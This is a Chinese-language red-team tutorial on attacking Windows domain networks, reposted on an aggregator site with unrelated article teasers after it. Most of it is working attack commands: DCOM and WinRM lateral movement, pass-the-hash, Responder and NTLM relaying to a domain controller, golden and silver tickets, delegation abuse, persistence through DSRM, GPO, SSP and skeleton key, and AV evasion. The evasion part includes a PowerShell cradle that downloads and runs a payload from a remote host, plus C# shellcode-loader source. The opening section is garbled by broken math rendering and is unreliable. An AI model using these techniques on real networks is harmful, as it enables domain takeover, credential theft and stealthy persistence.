      c 
     
    
      t 
     
    
      i 
     
    
      v 
     
    
      e 
     
    
      V 
     
    
      i 
     
    
      e 
     
    
      w 
     
    
      . 
     
    
      E 
     
    
      x 
     
    
      e 
     
    
      c 
     
    
      u 
     
    
      t 
     
    
      e 
     
    
      S 
     
    
      h 
     
    
      e 
     
    
      l 
     
    
      l 
     
    
      C 
     
    
      o 
     
    
      m 
     
    
      m 
     
    
      a 
     
    
      n 
     
    
      d 
     
     
     
       ( 
      
     
       ′ 
      
     
    
      c 
     
    
      m 
     
    
      d 
     
    
      . 
     
    
      e 
     
    
      x 
     
     
     
       e 
      
     
       ′ 
      
     
    
      , 
     
    
   
     com.Document.ActiveView.ExecuteShellCommand('cmd.exe', 
    
   
 </span><span class="katex-html"><span class="base"><span class="strut" style="height: 1.0019em; vertical-align: -0.25em;"></span><span class="mord mathnormal">co</span><span class="mord mathnormal">m</span><span class="mord">.</span><span class="mord mathnormal">Doc</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal">A</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span style="margin-right: 0.0359em;" class="mord mathnormal">v</span><span class="mord mathnormal">e</span><span class="mord mathnormal">Vi</span><span class="mord mathnormal">e</span><span style="margin-right: 0.0269em;" class="mord mathnormal">w</span><span class="mord">.</span><span style="margin-right: 0.0576em;" class="mord mathnormal">E</span><span class="mord mathnormal">x</span><span class="mord mathnormal">ec</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span style="margin-right: 0.0576em;" class="mord mathnormal">S</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span style="margin-right: 0.0715em;" class="mord mathnormal">llC</span><span class="mord mathnormal">o</span><span class="mord mathnormal">mman</span><span class="mord mathnormal">d</span><span class="mopen"><span class="mopen">(</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height: 0.7519em;"><span class="" style="top: -3.063em; margin-right: 0.05em;"><span class="pstrut" style="height: 2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">c</span><span class="mord mathnormal">m</span><span class="mord mathnormal">d</span><span class="mord">.</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height: 0.7519em;"><span class="" style="top: -3.063em; margin-right: 0.05em;"><span class="pstrut" style="height: 2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span></span></span></span></span>null,“/c calc.exe”,“Minimized”)</p> 

方法二

$com = [Type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“1.1.1.1”)

      o 
     
    
      b 
     
    
      j 
     
    
      = 
     
    
      [ 
     
    
      S 
     
    
      y 
     
    
      s 
     
    
      t 
     
    
      e 
     
    
      m 
     
    
      . 
     
    
      A 
     
    
      c 
     
    
      t 
     
    
      i 
     
    
      v 
     
    
      a 
     
    
      t 
     
    
      o 
     
    
      r 
     
    
      ] 
     
    
      : 
     
    
      : 
     
    
      C 
     
    
      r 
     
    
      e 
     
    
      a 
     
    
      t 
     
    
      e 
     
    
      I 
     
    
      n 
     
    
      s 
     
    
      t 
     
    
      a 
     
    
      n 
     
    
      c 
     
    
      e 
     
    
      ( 
     
    
   
     obj = [System.Activator]::CreateInstance( 
    
   
 </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8889em; vertical-align: -0.1944em;"></span><span class="mord mathnormal">o</span><span style="margin-right: 0.0572em;" class="mord mathnormal">bj</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right: 0.2778em;"></span></span><span class="base"><span class="strut" style="height: 1em; vertical-align: -0.25em;"></span><span class="mopen">[</span><span style="margin-right: 0.0576em;" class="mord mathnormal">S</span><span class="mord mathnormal">ys</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord">.</span><span class="mord mathnormal">A</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span style="margin-right: 0.0359em;" class="mord mathnormal">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span style="margin-right: 0.0278em;" class="mord mathnormal">or</span><span class="mclose">]</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">::</span><span class="mspace" style="margin-right: 0.2778em;"></span></span><span class="base"><span class="strut" style="height: 1em; vertical-align: -0.25em;"></span><span style="margin-right: 0.0715em;" class="mord mathnormal">C</span><span class="mord mathnormal">re</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span style="margin-right: 0.0785em;" class="mord mathnormal">I</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">an</span><span class="mord mathnormal">ce</span><span class="mopen">(</span></span></span></span></span>com)<br> $item = $obj.item()<br> <span class="katex--inline">KaTeX parse error: Undefined control sequence: \windows at position 68: … calc.exe","c:\̲w̲i̲n̲d̲o̲w̲s̲\system32",</span>null,0)</p> 

方法三

$com = [Type]::GetTypeFromCLSID(‘C08AFD90-F2A1-11D1-8455-00A0C91F3880’,“1.1.1.1”)

      o 
     
    
      b 
     
    
      j 
     
    
      = 
     
    
      [ 
     
    
      S 
     
    
      y 
     
    
      s 
     
    
      t 
     
    
      e 
     
    
      m 
     
    
      . 
     
    
      A 
     
    
      c 
     
    
      t 
     
    
      i 
     
    
      v 
     
    
      a 
     
    
      t 
     
    
      o 
     
    
      r 
     
    
      ] 
     
    
      : 
     
    
      : 
     
    
      C 
     
    
      r 
     
    
      e 
     
    
      a 
     
    
      t 
     
    
      e 
     
    
      I 
     
    
      n 
     
    
      s 
     
    
      t 
     
    
      a 
     
    
      n 
     
    
      c 
     
    
      e 
     
    
      ( 
     
    
   
     obj = [System.Activator]::CreateInstance( 
    
   
 </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8889em; vertical-align: -0.1944em;"></span><span class="mord mathnormal">o</span><span style="margin-right: 0.0572em;" class="mord mathnormal">bj</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right: 0.2778em;"></span></span><span class="base"><span class="strut" style="height: 1em; vertical-align: -0.25em;"></span><span class="mopen">[</span><span style="margin-right: 0.0576em;" class="mord mathnormal">S</span><span class="mord mathnormal">ys</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord">.</span><span class="mord mathnormal">A</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span style="margin-right: 0.0359em;" class="mord mathnormal">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span style="margin-right: 0.0278em;" class="mord mathnormal">or</span><span class="mclose">]</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">::</span><span class="mspace" style="margin-right: 0.2778em;"></span></span><span class="base"><span class="strut" style="height: 1em; vertical-align: -0.25em;"></span><span style="margin-right: 0.0715em;" class="mord mathnormal">C</span><span class="mord mathnormal">re</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span style="margin-right: 0.0785em;" class="mord mathnormal">I</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">an</span><span class="mord mathnormal">ce</span><span class="mopen">(</span></span></span></span></span>com)<br> <span class="katex--inline">KaTeX parse error: Undefined control sequence: \windows at position 67: … calc.exe","c:\̲w̲i̲n̲d̲o̲w̲s̲\system32",</span>null,0)</p> 

  • i、WINRM

winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password “whoami”

winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "

在这里插入图片描述

5.2、PTH

当我们没有明文账号密码,只有hash时,可以尝试hash传递。

5.2.1 impacket套件

项目地址:https://github.com/SecureAuthCorp/impacket

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c domain/administrator@1.1.1.1 “whoami”

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D455C domiain/administrator@1.1.1.1 “whoami”

smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734FE7 domiain/administrator@1.1.1.1 “whoami”

5.2.2 Invoke-TheHash套件

项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash/

Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command “calc.exe” -verbose

Invoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command “calc.exe” -verbose

在这里插入图片描述

5.2.3 mimikatz

使用如下命令:

privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1

弹出cmd:
在这里插入图片描述
安装KB2871997补丁后,可以使用AES-256密钥进行hash传递:
抓取AES-256密钥:

mimikatz:
privilege::debug
sekurlsa::ekeys
privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /aes256:aes256key

5.3、NTLM-Relay

上述都是“主动性”的攻击行为,也就是主动去连接别人,那我们也可以尝试“被动性”攻击,当别人访问我们时,或者说是无感知访问时,我们能做什么操作?
实验环境:

win7172.16.127.184 普通域用户
win10172.16.127.170 域管
dcserver172.16.127.173 域控
kali172.16.127.129 攻击机

利用工具:

Responder、impacket

5.3.1 LLMNR

先来一段百科介绍,链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。它是包含在Windows Vista中,Windows Server 2008中,Windows 7中,Windows 8中和的Windows 10。它也被实施systemd在Linux上-resolved。LLMNR定义在RFC 4795。

在DNS 服务器不可用时,DNS 客户端计算机可以使用本地链路多播名称解析 (LLMNR—Link-Local Multicast Name Resolution)(也称为多播 DNS 或 mDNS)来解析本地网段上的名称。例如,如果路由器出现故障,从网络上的所有 DNS 服务器切断了子网,则支持 LLMNR 的子网上的客户端可以继续在对等基础上解析名称,直到网络连接还原为止。

除了在网络出现故障的情况下提供名称解析以外,LLMNR 在建立临时对等网络(例如,机场候机区域)方面也非常有用。

翻译成白话文怎么说:你正常内网中如访问真实存在的机器,如jumbo01,当有一天你不小心输成了不存在的机器jumbo02,客户端就会问内网中谁是jumbo02啊,有没有是jumbo02的人啊。

攻击手法v1.0
首先我们如果访问一台不存在的机器jumbo02,是以下这个结果
在这里插入图片描述
那我们如果我们在客户端询问谁是jumbo02的时候应答他的话,就是这个结果
攻击机执行

responder -I eth0

客户端访问jumbo02提示需要输入密码
在这里插入图片描述
输入密码后,攻击机收到net-ntlm:
在这里插入图片描述
收到net-ntlm以后我们就可以尝试利用hashcat进行破解等攻击。

5.3.2 WPAD

先来一段百科介绍,网络代理自动发现协议(Web Proxy Auto-Discovery Protocol,WPAD)是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理。

翻译成白话文怎么说:就是你的上网配置、怎么上网,如果你浏览器设置了上网自动检测设置(默认配置),客户端上网的时候,就会问,谁是wpad服务器啊,你是wpad服务器啊,然后拿着pac文件上网去了。

  • 攻击手法v1.0

首先我们本身想访问存在的网站 www.chinabaiker.com ,可是不小心打错了一个字母或者多打少打了一个字母,默认会直接跳到搜到引擎上去,或者提示无法访问,比如 www.chinabaikee.com
在这里插入图片描述
那如果我们伪造wpad服务器的话,首先攻击机执行

responder -I eth0 -wFb

在这里插入图片描述
这里使用-b参数强制使用401认证
客户端访问一个不存在的域名时会跳出登录框
在这里插入图片描述
输入账号密码以后,我们收到明文账号密码
在这里插入图片描述
从responder的信息反馈能得知,实际上是利用wpad欺骗返回了一个401认证,导致欺骗我们获取了其账号密码。在这里插入图片描述
在这里插入图片描述

  • 攻击手法v1.1
    既然我们能够让客户端下载我们的pac,就能在pac里面让客户端的流量走我们这边,这里我利用msf配置burp演示代理抓取客户端流量。
    攻击机执行

use auxiliary/spoof/nbns/nbns_response
set regex WPAD
set spoofip attackip
run
use auxiliary/server/wpad
set proxy 172.16.127.155
run

打开burp,以下只在非域内但是同一个网络中的机器的firefox成功
在这里插入图片描述

为什么会出现上面的问题呢,实际上是因为MS16-077补丁问题。

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:

– The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

– Authentication does not occur automatically anymore even if this is requested by the server.

利用mitm6让客户端设置我们为ipv6 dns服务器
在这里插入图片描述
wpad成功在chrome上欺骗
在这里插入图片描述
PS:以上成功还是在非域内机器。

  • 攻击手法v2.0
    上面说了多,最重要的不过还是权限。大家应该知道smb relay,但是这个漏洞很早就在MS08-068补丁中被修复了。但是这个不妨碍我们在未校验smb签名等情况下进行NTLM-Relay转发。我们执行responder,首先关闭掉smb,给接下来的ntlmrelayx使用。
    在这里插入图片描述

responder -I eth0
ntlmrelayx.py -t 172.16.127.173 -l ./

域管机器访问不存在的机器时,会中继到域控机器,我们成功获取shell
在这里插入图片描述
在这里插入图片描述

5.4、域信任

当存在子父域时,默认其是双向信任。可以利用sid history跨域提权。流程大致如下:
在这里插入图片描述
利用如下,使用mimikatz获取子域的Krbtgt Hash:

lsadump::lsa /patch

在这里插入图片描述
再使用powerview获取父域的sid:

Get-DomainComputer -Domain jumbolab.com

在这里插入图片描述
然后添加一个sid=519的企业管理员,利用mimikatz执行如下命令:

kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.jumbolab.com /sid:S-1-5-21-1786649982-4053697927-1628754434 /sids:S-1-5-21-4288736272-2299089681-4131927610-519 /ptt

最终成功获取父域权限:
在这里插入图片描述

5.5、攻击Kerberos

在域中,最核心的就是kerberos协议了,但是也会出现各种安全问题,甚至可以以一个普通域用户提权到system权限,配置不当甚至可以获取到域控权限。

5.5.1 PTT

当我们抓取到了krbtgt hash时,能做什么?继续往下看。

5.5.1.1 金票据

上面提到了ms14-068,也介绍Kerberos协议,知道了TGT是由krbtgt加密而成。因此当拿到krbtgt账号hash时,就可以构造一个任意权限的tgt了:
在这里插入图片描述
使用方法:

mimikatz
kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt: krbtgt hash值 /ticket:administrator.kiribi
kerberos::ptt administrator.kiribi
kerberos::tgt
dir \dc.domain.com\c$

5.5.1.2 银票据

上面的金票据是伪造的TGT,银票据是伪造TGS,由服务账号密码加密而成。
在这里插入图片描述
利用方法:

mimikatz.exe “kerberos::golden /domain:域 /sid:SID /target:域控全称 /service:要访问的服务,如cifs /rc4:NTLM,计算机账号hash /user:user /ptt”
dir \server\c$

在这里插入图片描述

5.5.1.3kekeo

利用kekeo进行ptt:

kekeo “tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1”

执行后生成票据 TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi
接下来导入票据:

kekeo “kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi”
dir \server\c$

5.5.2委派

5.5.2.1 基于资源的约束委派

流程图如下:
在这里插入图片描述

个人简单理解为A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性),则B可以通过s4u协议申请高权限票据对A进行利用。利用过程如下:

普通域用户默认可以添加10个机器账号,添加spnspnspn$并设置msds-allowedtoactonbehalfofotheridentity:
在这里插入图片描述

get-adcomputer win7 -properties principalsallowedtodelegatetoaccount

在这里插入图片描述
利用s4u协议申请高权限票据:

getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn$:spnspnspn -spn cifs/win7.jumbolab.com -impersonate administrator

导入票据:

export KRB5CCNAME=administrator.ccache

访问目标机器:

smbexec.py -no-pass -k -debug win7.jumbolab.com

在这里插入图片描述

5.5.2.2非约束委派

流程图如下:
在这里插入图片描述
个人简单理解为user访问service1服务时,如果service1服务开启了非约束委派,则在user访问service1服务时,会把自身的tgt发送给service1,因此service1可以利用user的tgt去访问user可以访问的服务。利用过程如下:

win7机器开启了非约束委派:
在这里插入图片描述
下面我们再利用Spooler打印机服务错误强制让运行了spooler服务的机器通过kerberos或ntlm的方式连接指定的目标机器:
在这里插入图片描述

SpoolSample.exedcserver win7

导出tgt:

mimikatz
privilege::debug
sekurlsa::tickets /export

在这里插入图片描述
导入票据:

kerberos::ptt [0;1f9fc7]-2-0-60a10000-DCSERVER$@krbtgt-JUMBOLAB.COM.kirbi

在这里插入图片描述
win7机器即可获取所有用户hash:
在这里插入图片描述

发现非约束委派机器可以用如下命令:
查找域中配置非约束委派用户:

Get-NetUser -Unconstrained -Domain jumbolab.com

查找域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain jumbolab.com

5.5.2.3 约束委派

流程图如下:
在这里插入图片描述
利用过程如下:
存在服务用户,test,并设置约束委派:
在这里插入图片描述
服务账号可以为一个域用户设置spn即可:

setspn.exe -U -A test/test test

申请tgt:

kekeo:
tgt::ask /user:test /domain:jumbolab.com /password:aA123456

在这里插入图片描述
利用生成的tgt申请st:

kekeo:
tgs::s4u /tgt:TGT_test@JUMBOLAB.COM_krbtgt~jumbolab.com@JUMBOLAB.COM.kirbi /user:Administrator@jumbolab.com /service:cifs/dcserver.jumbolab.com

在这里插入图片描述
导入st:

mimikatz:
kerberos::ptt TGS_Administrator@jumbolab.com@JUMBOLAB.COM_cifs~dcserver.jumbolab.com@JUMBOLAB.COM.kirbi

在这里插入图片描述
发现约束委派机器可以用如下命令:
查找域中配置约束委派用户:

Get-DomainUser -TrustedToAuth -Domain jumbolab.com

查找域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain jumbolab.com

六、域维权

当拿下域控后,可以在域控上面做一些手脚,以保证后续的权限维持,甚至可以保证,就算域控密码改了,我们依然可以连接。

6.1、DSRM

该方法相当于重置了域控机器上的本地管理员密码。
DSRM,目录服务还原模式,是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。DSRM账户实际上就是“Administrator”,也就是域控上面的本地管理员账号,非域管理员账号。当建立域控时,会让我们设置DSRM密码:
在这里插入图片描述
我们用如下命令在域控上同步DSRM密码:

ntdsutil
set DSRM password
SYNC FROM DOMAIN ACCOUNT username
Q
Q


即把DSRM重置成了和win7user用户一样的密码:
在这里插入图片描述

6.2、GPO

当我们获取到管理员权限时,可以通过添加组策略手段,实现用户开机自启动。
域控上执行过程如下:
打开gpmc.msc ,编辑默认组策略:
在这里插入图片描述
然后添加启动项:
在这里插入图片描述
并在对应的组策略目录下添加你的文件:
在这里插入图片描述
再执行如下命令强制刷新组策略:

gpupdate /force

最终域内其他机器重启后就会执行对应的文件/脚本:
在这里插入图片描述
在这里插入图片描述

6.3、SSP

SecuritySupport Provider理解为一个dll,用来实现身份认证;SecuritySupport Provider Interface理解为SSP的API,用于执行各种与安全相关的操作,如身份验证。

在系统启动的时候,SSP会被加载到lsass.exe中,也就是说我们可以自定义一个dll在系统启动时加载到lsass.exe中。

利用mimikatz:
1、将mimilib.dll复制到域控c:\windows\system32
2、添加注册表: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages
添加mimilib.dll
3、重启后记录登录的密码:
在这里插入图片描述
也可以不重启,利用RPC加载SSP。

6.4、Skeleton Key

利用mimikatz安装一个万能密码,“mimikatz”,实现代码可以参考如下:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

privilege::debug
misc::skeleton

当执行完上述命令后,就可以使用“mimikatz”作为一个万能密码,去连接域控,该方法可用于当域控密码被改掉时,我们依然可以去控制域控。
在这里插入图片描述

6.5、HookPasswordChangeNotify

通过往lsass.exe进程中注入dll,达到通过Hook PasswordChangeNotify拦截修改的帐户密码。该方法可用于拦截域内修改的密码。
项目地址:https://github.com/Jumbo-WJB/Misc-Windows-Hacking
在这里插入图片描述

七、免杀处理

在上述的攻击利用中,出现了各种各样的工具,但是现在的edr都对上述工具、上述手法都做了安全防护,因此如何绕过av,又是一段漫长的路。

7.1、Powershell

以常见的cs上线生成的powershell为例。当使用默认ps命令时,会被直接拦截:
在这里插入图片描述
我们先简单理解为拦截了这个命令,那就先简单尝试下加点特殊符号,而这个符号又不影响程序运行,比如“^”,但发现并不行:
在这里插入图片描述
那我们尝试把这个命令copy出来并换个名字试试呢?依然不行:
在这里插入图片描述
但是改成txt就成功了:

jp.txt -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://1.2.3.4:80/a’))”

7.2、抓密码工具免杀

渗透日常中密码抓取必不可少,当看到域控在线,工具被杀,想抓密码怎么办?
第一种,配合上面的powershell绕过执行ps1版的mimikatz:
在这里插入图片描述
第二种,利用RPC加载SSP:
https://blog.xpnsec.com/exploring-mimikatz-part-2/
让lsass.exe自己dump 内存:
在这里插入图片描述
微软签名的procdump也可以:
在这里插入图片描述
第三种,对工具本身做免杀,找个看起来无害化的工具:

https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/sekurlsa-wdigest.cpp

在这里插入图片描述
如果手上没有IDE编译环境或者没有源码怎么办?找个被杀的工具:
在这里插入图片描述
用restorator工具加个版本信息,成功免杀:
在这里插入图片描述
在这里插入图片描述

7.3、源码免杀

找个内存加载的源码,把shellcode加载执行。简单过程如下:
申请内存->写入shellcode->创建线程执行
先利用cs生成shellcode:
在这里插入图片描述
示例代码如下:
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function’s compiled code
// generated with metasploit
byte[] shellcode = new byte[835] {
0x… };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport(“kernel32”)]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport(“kernel32”)]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport(“kernel32”)]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport(“kernel32”)]
private static extern bool CloseHandle(IntPtr handle);
[DllImport(“kernel32”)]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport(“kernel32”)]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport(“kernel32”)]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport(“kernel32”)]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport(“kernel32”)]
private static extern UInt32 GetLastError();
}
}
编译后成功绕过杀毒软件:
在这里插入图片描述

7.4、白名单免杀

我们可以使用windows自带的命令达到免杀的效果,比如:
msbuild:
在这里插入图片描述
在这里插入图片描述
这里收集了几个执行shellcode的常用白名单:
https://github.com/Jumbo-WJB/windows_exec_ways
在这里插入图片描述

总结

本文介绍了内网渗透的攻击手法和利用工具,也有绕过AV安全防护的突破手段。希望借此提高大家内网渗透攻击和防御水平。当然,不可能面面俱到,比如ACL配置不当造成的提权、mimikatz等工具的源码解读,还需要大家一起慢慢品味。

文中涉及的技术信息,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

最后感谢腾讯蓝军多位前辈同事的帮助和指导。同时预告一下,也算是立个flag:为了让红蓝对抗不用过于依靠个人经验和能力以及提升对抗效率,腾讯蓝军的红蓝对抗自动化工具平台正在筹建中,希望投入实战后有机会再跟大家一起交流学习。

【附录】
相关文章:
网络空间安全时代的红蓝对抗建设: https://security.tencent.com/index.php/blog/msg/139
以攻促防:企业蓝军建设思考: https://security.tencent.com/index.php/blog/msg/133

部分工具地址:
Rubeus:
https://github.com/GhostPack/Rubeus

PowerView:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Seatbelt:
https://github.com/GhostPack/Seatbelt

Bloodhound:
https://github.com/BloodHoundAD/BloodHound

Ruler:
https://github.com/sensepost/ruler

MailSniper:
https://github.com/dafthack/MailSniper

ReGeorg:
https://github.com/sensepost/reGeorg

EarthWorm:
https://github.com/rootkiter/EarthWorm

PowerCat:
https://github.com/besimorhino/powercat

Mimikatz:
https://github.com/gentilkiwi/mimikatz

Tgsrepcrack:
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

Kerbrute:
https://github.com/ropnop/kerbrute

Responder:
https://github.com/lgandx/Responder

</article>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/545945.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux第87步_阻塞IO实验

阻塞IO是“应用程序”对“驱动设备”进行操作&#xff0c;若不能获取到设备资源&#xff0c;则阻塞IO应用程序的线程会被“挂起”&#xff0c;直到获取到设备资源为止。 “挂起”就是让线程进入休眠&#xff0c;将CPU的资源让出来。线程进入休眠后&#xff0c;当设备文件可以操…

字节跳动大佬把Python入门知识点整理成手册了,高清PDF开放下载_字节跳动 python 自学笔记

前言 无论是学习任何一门语言&#xff0c;基础知识一定要扎实&#xff0c;基础功非常的重要&#xff0c;找一个有丰富编程经验的老师或者师兄带着你会少走很多弯路&#xff0c; 你的进步速度也会快很多&#xff0c;无论我们学习的目的是什么&#xff0c;不得不说Python真的是一…

GPT 交互式提示工程

简介&#xff1a;交互式提示工程 人工智能领域&#xff0c;尤其是 GPT&#xff08;生成式预训练变压器&#xff09;等工具&#xff0c;凸显了即时工程的关键作用。 这篇扩展文章深入探讨了如何设计有效的提示&#xff0c;以从 GPT 等 AI 模型中获得出色的响应。 了解即时工程即…

Vue3(三):生命周期、路由、自定义hooks

这里终于明白了为什么一直有这个语法报错&#xff0c;就是在提示你哪里错的地方上方注释一行/*eslint-disable*/&#xff0c;之前一直警告这个错误感谢老师&#xff01; 一、vue2和vue3生命周期 还有一个问题就是父组件和子组件哪个先挂载完毕呢&#xff1f;答案是子组件先挂…

Vulnhub靶机 DC-2渗透详细过程

VulnHub靶机 DC-2 打靶 目录 VulnHub靶机 DC-2 打靶一、将靶机导入到虚拟机当中二、攻击方式主机发现端口扫描服务探针爆破目录web渗透信息收集扫描探针登录密码爆破SSH远程登录rbash提权 一、将靶机导入到虚拟机当中 靶机地址&#xff1a; https://www.vulnhub.com/entry/dc…

2024年,国产大模型的变革与突破

在今年两会上&#xff0c;“人工智能&#xff08;AI&#xff09;”成为热议焦点。政府工作报告不仅多次提及&#xff0c;还首次提出“人工智能”创新行动&#xff0c;彰显了对科技发展的深刻洞察和前瞻性布局。 回顾历年报告&#xff0c;从“互联网”到“智能”&#xff0c;每…

Transfomer代码实现与细节理解

文章目录 0. 简单理解1. 总体架构1.1 Encoder1.2 Decoder 2. 实现代码2.1 数据预处理2.2 模型参数2.2 Positional Encoding 位置编码2.3 Pad mask 填充的掩码2.4 Subsequence Mask 解码器的自注意力掩码2.6 Scaled Dot Product Attention2.7 MultiHead Attention2.8 FeedForwar…

使用IT-Tools+Cpolar在Windows搭建自己的IT工具箱并实现远程在线使用

文章目录 1. 使用Docker本地部署it-tools2. 本地访问it-tools3. 安装cpolar内网穿透4. 固定it-tools公网地址 本篇文章将介绍如何在Windows上使用Docker本地部署IT- Tools&#xff0c;并且同样可以结合cpolar实现公网访问。 在前一篇文章中我们讲解了如何在Linux中使用Docker搭…

异地组网怎么安装?

异地组网安装是指在不同地域的多个设备之间建立网络连接&#xff0c;以便实现数据传输和协同工作的过程。在如今的数字化时代&#xff0c;异地组网安装已经成为了许多企业和组织所必需的一项技术。 天联的使用场景 在异地组网安装中&#xff0c;天联是一种常用的工具。它具有以…

北京大学快手发布统一的图文视频生成大模型Video-LaVIT

随着多模态大语言模型&#xff08;LLMs&#xff09;的新发展&#xff0c;人们越来越关注如何将它们从图像-文本数据扩展到更具信息量的真实世界视频。与静态图像相比&#xff0c;视频为有效的大规模预训练带来了独特的挑战&#xff0c;因为需要对其时空动态进行建模。 针对视频…

vs配置opencv运行时“发生生成错误,是否继续并运行上次的成功生成”BUG解决办法

vs“发生生成错误&#xff0c;是否继续并运行上次的成功生成” 新手在用vs配置opencv时遇到这个错误时&#xff0c;容易无从下手解决。博主亲身经历很有可能是release/debug模式和配置文件不符的问题。 在配置【链接器】→【输入】→【附加依赖项】环节&#xff0c;编辑查看选择…

